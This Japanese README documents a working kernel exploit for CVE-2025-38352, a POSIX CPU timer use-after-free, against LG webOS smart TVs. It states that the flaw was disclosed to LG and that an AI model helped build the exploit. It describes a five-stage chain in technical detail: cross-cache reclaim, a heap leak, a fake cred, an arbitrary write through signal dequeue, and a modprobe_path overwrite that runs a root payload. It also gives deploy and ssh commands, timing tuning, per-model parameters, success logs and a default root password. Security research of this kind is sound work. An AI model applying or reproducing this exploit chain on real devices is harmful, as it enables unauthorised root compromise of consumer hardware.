
CVE-2025-38352は、LG webOS Smart TV(ARM64)向けのカーネルエクスプロイトです。実際の消費者向けハードウェア上で永続的なroot権限を獲得し、新規の悪用技術を使用します。責任を持ってLGに開示されました。
CVE-2025-38352(POSIX CPUタイマーの競合条件/use-after-free)を悪用したカーネルエクスプロイト。LG webOS Smart TV上で、ARM64のカーネル5.4.268で動作し、永続的なルート権限を取得します。複数のファームウェアバージョンを持つ4つのTVモデルで検証済み。LGのSecurity Researcher Programに責任を持って開示(2026年2月)。
farazsth98 によるChronomalyを基に構築。Stage 1のUAFレースロジックとクロスキャッシュインフラストラクチャをARM64向けに移植・適応。Stage 2~5は、エミュレート環境には存在しない実際のハードウェア上の制約に対する新規の悪用技術と解決策を用いて再設計。Claude Opus 4.6の支援を受けて開発。
脆弱性の完全な分析、エクスプロイトチェーンの解説、および推奨される緩和策についてはVULNERABILITY_REPORT.mdを参照してください。
prisonerユーザー(uid=5038)から永続的なカーネルルート(uid=0)を獲得このエクスプロイトは責任あるセキュリティ研究の一環として開発され、2026年2月7日にLGのSecurity Researcher Programに報告されました。教育目的でのみ公開されています。責任を持って、自分が所有するデバイスでのみ使用してください。著者は、本ソフトウェアの使用に起因するいかなる損害、文鎮化、データ損失、保証の無効化についても責任を負いません。本ソフトウェアは現状のままで提供され、いかなる保証もありません。
オリジナルの任意デクリメントは低速でノイズが多い。struct credオブジェクトをフォークしたプロセスを介して1000個スプレーし、ターゲットのcredのEUIDフィールドをN回デクリメントする。各デクリメントは独立した操作である。これはタイミングが寛容なQEMUでは許容できるが、割り込み駆動のページ回収が操作の間にパイプバッファページを奪う可能性がある実際のハードウェア上では信頼性が低い。
代わりに、list_del_init()を介した単一の任意書き込みに置き換えられた。エクスプロイトは、パイプバッファを介してUAFされたsigqueueのlist_head.nextとlist_head.prevポインタを上書きする。カーネルが保留中のシグナルをデキューするとき(collect_signal() → list_del_init())、prev->next = next(偽のcredアドレスをtask_struct->credに書き込む)とnext->prev = prev(制御された副作用書き込み)を実行する。1回の書き込みで、プロセスのcredポインタを、すべてのuid/gidフィールドがゼロの偽のcred構造体へのポインタに置き換える。credスプレーなし、フォークされたプロセスなし、決定論的。
tee()によるpeek_pipe()(非破壊読み取り)オリジナルでは、エクスプロイト全体でパイプバッファに対して破壊的なread()呼び出しを使用している。QEMUでは、操作の間にページが盗まれないため問題ない。4つの物理コアを持つ実際のハードウェアでは、カーネルのCPUごとのページリスト(pcplist)が解放されたページを積極的に回収する。破壊的な読み取りはパイプバッファのバッキングページを解放し、エクスプロイトが再割り当てする前にハードウェア割り込みによって即座に奪われる可能性がある。
解決策は、tee()を使用した非破壊的なパイプ読み取りプリミティブである。tee()システムコールは、2つのパイプ間でパイプデータを消費せずに複製し、元のパイプバッファのバッキングページをピン留めしたままにする。これにより、エクスプロイトはクロスキャッシュされたパイプバッファからカーネルデータを繰り返し読み取ることができ、ページ損失のリスクがない。これは実際のハードウェア上での信頼性にとって重要であった。
オリジナルでは、credオブジェクトをスプレーし、予測可能な位置に配置されることを期待する。このバージョンでは、2番目のクロスキャッシュを実行することにより、既知のアドレスに偽のcred構造体を構築する。新しいsigqueueを割り当て(tkill(SIGRTMIN+1)経由)、最初のパイプバッファのヒープリークからそのアドレスを学習し、そのsigqueueのスラブページを2番目のパイプバッファにクロスキャッシュする。偽のcredは、リークされたsigqueueアドレスと同じページオフセットにある2番目のパイプバッファに書き込まれる。その結果、推測を必要としない、決定論的なカーネル仮想アドレスに偽のcredが配置される。
オリジナルでは、UAF sigqueueのアドレスをリークするためにStage 2の早い段階でSIGUSR2をデキューする。これによりシグナルが消費されるため、オリジナルは最終書き込みに別のメカニズムを必要とする。このバージョンでは、UAF sigqueue自身のアドレスを必要としない(ヒープリークはパイプバッファ内の隣接するsigqueueポインタから得られる)。SIGUSR2は全5つのステージにわたって保留され、そのデキューが最終的な任意書き込みのトリガーとして使用される。UAFを作成したシグナルが、それを悪用する同じシグナルのデキューである。
modprobe_path + socket(44) 昇格偽のcred構造体は、NULLのuser_ns、user、およびgroup_infoポインタを持つ(uid/gidフィールドを超えるパイプバッファはゼロ初期化されるため)。setresuid()、fork()、またはexec()を呼び出すと、これらのNULLポインタをデリファレンスしてカーネルパニックを引き起こす。オリジナルでは、credスプレーが有効なポインタを持つ実際のcredオブジェクトを使用するため、この問題を回避している。
解決策:/proc/sys/kernel/modprobeをペイロードスクリプト(/tmp/pwn)を指すように上書きし、socket(44, SOCK_STREAM, 0)(存在しないプロトコルファミリを要求)を介してcall_usermodehelperをトリガーする。カーネルは、init_cred(カーネル自身のルート資格情報、完全に有効)を使用してmodprobeヘルパーを実行し、破損したcredを完全にバイパスする。ペイロードは完全なルートとして実行され、任意の操作を実行できる。
Stage 4(悪意のあるポインタをパイプバッファに書き込み、シグナルデキューをトリガーする)の重要なウィンドウは、ハードウェア割り込みがCPUごとのページリストからパイプバッファページを奪う可能性がある。これはQEMUでは発生しない。実際のハードウェアでは、このウィンドウは、利用可能な場合はSCHED_FIFO優先度、クリティカルセクションに入る前にCPU上で保留中の作業を完了させるためのsched_yield()、および書き込みとトリガーの間の時間を最小限に抑えるために事前に準備されたバッファ内容によって保護される。エクスプロイトは、SCHED_FIFOが利用できない場合(prisonerユーザーがCAP_SYS_NICEを欠いているwebOSの場合など)にも正常にフォールバックする。
task_struct オフセットのリバースエンジニアリング任意書き込みはtask_struct->credを対象としており、task_struct->pending(そのアドレスはパイプバッファからリークされる)からtask_struct->credまでのバイトオフセットを知る必要がある。このオフセットはカーネル設定に依存する。0x80(128バイト)のオフセットは、LG webOSカーネルソースから手動で計算され、CONFIG_KEYS=y、CONFIG_SYSVIPC=y、およびARM64固有の構造体レイアウトとアラインメントを考慮している。オリジナルのx86_64オフセットは、異なる構造体パッキングと設定オプションのために異なる。
成功すると、エクスプロイトは次のことを行う:
/proc/sys/kernel/modprobeを上書きして、ルート権限付与ペイロードをinitとして実行aarch64-linux-gnu-gcc)# macOS(サードパーティのtapが必要)
brew tap messense/macos-cross-toolchains
brew install aarch64-unknown-linux-gnu
# Ubuntu/Debian
sudo apt-get install gcc-aarch64-linux-gnu
エクスプロイトを実行する前に、Dev Modeを介してTVにHomebrew Channelアプリをインストールします。そうすることで、ルート権限付与ペイロードは昇格のみを行えばよくなり(高速、信頼性が高い)、インストール+昇格(低速、失敗する可能性あり)よりも優れます。ares-installまたはDev Managerアプリを使用してサイドロードできます:
ares-install org.webosbrew.hbchannel_0.7.3_all.ipk
HBCが事前にインストールされていない場合、エクスプロイトは/tmp/hbchannel.ipk(deploy-webos.shによってデプロイ)からのインストールを試みますが、これは失敗する可能性のある追加の手順を追加します。
# 1. TVのIPとSSHキーを設定
# TVのIPは設定 > ネットワーク > Wi-Fi > 詳細設定で確認
# SSHキーはLG Developer Modeアプリによって生成される — Dev Managerまたはares-setup-deviceによってダウンロードされたキー
# (通常はwebos_rsaという名前)を探す
export WEBOS_IP="<TV_IP>"
export WEBOS_KEY="$HOME/.ssh/webos_rsa"
# 2. ビルドとデプロイ(deploy-webos.shがビルドを自動処理)
./deploy-webos.sh
# 3. 接続して実行
ssh -i "$WEBOS_KEY" -p 9922 -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa prisoner@$WEBOS_IP
/tmp/exploit-arm64
エクスプロイトはコマンドライン引数としてタイミングパラメータを受け付けます:
/tmp/exploit-arm64 [DELAY] [DELTA] [THRESHOLD]
引数が指定されない場合、コンパイル時のデフォルト値が使用されます(DELAY=31000、DELTA=50、THRESHOLD=3000)。
DELAYが指定されてもDELTAが指定されない場合、DELTAは自動的に DELAY / 600(最も近い5に丸められます)として計算されます。
エクスプロイトの出力を監視し、DELAYを調整します:
Parent raced too late → DELAYを減少
Parent raced too early → DELAYを増加
両方のメッセージが表示された場合、タイミングは近い — 実行を続けると、エクスプロイトは最終的にレースウィンドウを捉えるはずです。コンパイル時のデフォルト(31000)から始めて、そこから調整します。
/tmp/pwnが終了するのを待機します — しばしばタイムアウトします(これは正常です)。必要に応じて/tmp/pwn.logをチェックし、ペイロードが完了したことを手動で確認してください。ssh root@<TV_IP>
# パスワード: alpine
[*] Chronomaly - CVE-2025-38352 - webOS ARM64
[*] Config: DELAY=30500 DELTA=50 THRESH=3000 EPOLL=250 SFD=60
[*] Initializing...
[*] Racing...
[*] getpid() timing: 165 ns
[+] Freed UAF sigqueue in parent process pid 28522
[+] Stage 2 - Cross-cache the UAF sigqueue's slab
[+] Reallocated UAF sigqueue slab as a pipe buffer data page
[+] Heap leak successful! Continuing...
[+] SIGUSR2 kept pending - UAF sigqueue stays in list
[+] Stage 3 - Cross-cache new sigqueue's slab to second pipe buffer
[+] fake_cred_addr = 0xffffff804908c820
[+] Stage 4 - Set up arbitrary write via UAF sigqueue
[+] Will write: *0xffffff8048591378 = 0xffffff804908c820
[+] SIGUSR2 still pending from Stage 1
[DEBUG] All sigqueue fields verified OK
[+] Stage 5 - Trigger arbitrary write via signal dequeue
[+] Signal dequeued successfully!
[+] Arbitrary write completed: task->cred now points to fake_cred
[+] Current EUID: 0, UID: 1213797240
██████╗ ██████╗ ██████╗ ████████╗ ██╗
██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝ ██║
██████╔╝██║ ██║██║ ██║ ██║ ██║
██╔══██╗██║ ██║██║ ██║ ██║ ╚═╝
██║ ██║╚██████╔╝╚██████╔╝ ██║ ██╗
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝
[+] ROOT ACHIEVED! EUID = 0
[+] modprobe -> /tmp/pwn
[+] Rooting payload executed!
[*] Chronomaly - CVE-2025-38352 - webOS ARM64
[*] Config: DELAY=30500 DELTA=50 THRESH=3000 EPOLL=250 SFD=60
[*] Initializing...
[*] Racing...
[*] getpid() timing: 165 ns
[+] Freed UAF sigqueue in parent process pid 28522
[+] Stage 2 - Cross-cache the UAF sigqueue's slab
[+] Reallocated UAF sigqueue slab as a pipe buffer data page
[+] Cleaning up all cross-cache allocations to prepare for next cross-cache
[+] Preparing task pending list for heap leaks
[DEBUG] Pipe buffer page dump (non-zero qwords):
[DEBUG] offset 0x960: 0xffffff804dbee2d0 [kernel ptr]
[DEBUG] offset 0x968: 0xffffff80485913f8 [kernel ptr]
[+] Heap leaks:
- UAF sigqueue page offset 0x960
- Other sigqueue 0xffffff804dbee2d0
- Task pending list addr 0xffffff80485913f8
[+] Heap leak successful! Continuing...
[+] SIGUSR2 kept pending - UAF sigqueue stays in list
[+] Stage 3 - Cross-cache new sigqueue's slab to second pipe buffer
[+] new_addr = 0xffffff804908c820 (page offset 0x820)
[+] Dequeuing SIGRTMIN+1 (2nd time) to free new sigqueue from slab 3...
[+] Freeing slab 3 page...
[+] Writing fake cred at page offset 0x820
[+] Reclaimed slab 3 page as second pipe buffer (with fake cred)
[+] fake_cred_addr = 0xffffff804908c820 (= new_addr from Stage 3 SIGRTMIN+1)
[+] Stage 4 - Set up arbitrary write via UAF sigqueue
[+] task_pending_list_addr = 0xffffff80485913f8
[+] cred_offset = 0x80 (128 bytes)
[+] task_cred_ptr_addr = 0xffffff8048591378
[+] fake_cred_addr = 0xffffff804908c820
[+] Will write: *0xffffff8048591378 = 0xffffff804908c820
[+] SIGUSR2 still pending from Stage 1
[-] SCHED_FIFO unavailable - proceeding anyway
[DEBUG] Verifying sigqueue fields in pipe buffer:
[DEBUG] list.next = 0xffffff804908c820 (expected 0xffffff804908c820) OK
[DEBUG] list.prev = 0xffffff8048591378 (expected 0xffffff8048591378) OK
[DEBUG] flags = 1 (expected 1) OK
[DEBUG] si_signo = 12 (expected 12 = SIGUSR2) OK
[DEBUG] All sigqueue fields verified OK
[+] Stage 5 - Trigger arbitrary write via signal dequeue
[+] Dequeuing ORIGINAL SIGUSR2 from Stage 1 (never dequeued until now)
[+] This triggers list_del_init: *0xffffff8048591378 = 0xffffff804908c820
[DEBUG] poll() returned 1, revents=0x1
[DEBUG] SIGUSR2 = 12, sigusr2_sfd = 5
[DEBUG] Key addresses for list_del_init:
[DEBUG] UAF.prev (entry->prev) = task_cred_ptr = 0xffffff8048591378
[DEBUG] UAF.next (entry->next) = fake_cred = 0xffffff804908c820
[DEBUG] fake_cred[0] should be task_pending_list = 0xffffff80485913f8
[DEBUG] Expected writes:
[DEBUG] *(0xffffff8048591378) = 0xffffff804908c820 (task->cred = fake_cred)
[DEBUG] *(0xffffff804908c828) = 0xffffff8048591378 (fake_cred.prev = task_cred_ptr)
[DEBUG] Verifying pipe buffers still valid...
[DEBUG] realloc_pipe read(0) = 0 (errno=1)
[DEBUG] About to call read(sigusr2_sfd) - this triggers list_del_init...
[DEBUG] NOTE: If it hangs here, the exploit has failed and you must start over.
[DEBUG] read() returned 128, errno=0 (Success)
[DEBUG] Blocking mode restored
[+] Signal dequeued successfully! (read 128 bytes)
[DEBUG] POST-DEQUEUE pipe buffer check:
[DEBUG] list.next = 0xffffff80417e9960
[DEBUG] list.prev = 0xffffff80417e9960
[DEBUG] Pointers changed by kernel (list_del_init applied to our page)
[+] Arbitrary write completed: task->cred now points to fake_cred
[+] Checking privileges...
[+] Current EUID: 0, UID: 1213797240
██████╗ ██████╗ ██████╗ ████████╗ ██╗
██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝ ██║
██████╔╝██║ ██║██║ ██║ ██║ ██║
██╔══██╗██║ ██║██║ ██║ ██║ ╚═╝
██║ ██║╚██████╔╝╚██████╔╝ ██║ ██╗
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝
[+] ROOT ACHIEVED! EUID = 0
[+] modprobe -> /tmp/pwn
[+] Rooting payload executed!
[+] Waiting for /tmp/pwn to finish...
[+] May take up to 5 minutes to finish.
オリジナルのコントリビューションはMITライセンスです。farazsth98によるChronomalyから派生した部分は、アップストリームプロジェクトが明示的なライセンスなしで公開されたため、MITライセンスの対象外です。詳細はLICENSEを参照してください。
| 変数 | デフォルト | 説明 |
|---|
WEBOS_IP | 192.168.1.100 | TVのIPアドレス |
WEBOS_PORT | 9922 | SSHポート |
WEBOS_USER | prisoner | SSHユーザー |
WEBOS_KEY | $HOME/.ssh/webos_rsa | SSHキーのパス |
| TVモデル | OTA ID | DELAY | DELTA | THRESHOLD |
|---|
| OLED65C2PUA | HE_DTV_W22O_AFABATPU | 29700 | 50 | 3000 |
| 86QNED70AUA | HE_DTV_W25P_AFADATAA | 100000 | 165 | 3000 |
| OLED77C5PUA | HE_DTV_W25G_AFABATAA | 30500 | 50 | 3000 |
| OLED77G4WUA | HE_DTV_W24O_AFABATAA | 24500 | 50 | 2500 |
| OLED65C4PUA | HE_DTV_W24G_AFABATAA | 30000 | 50 | 3000 |
| OLED55C4PUA | HE_DTV_W24G_AFABATAA | 30300 | 50 | 3000 |
| OLED48C3AUB | - | 31300 | 50 | 3000 |
| OLED65C3PUA | HE_DTV_W23O_AFABJAAA | 27900 | 50 | 3000 |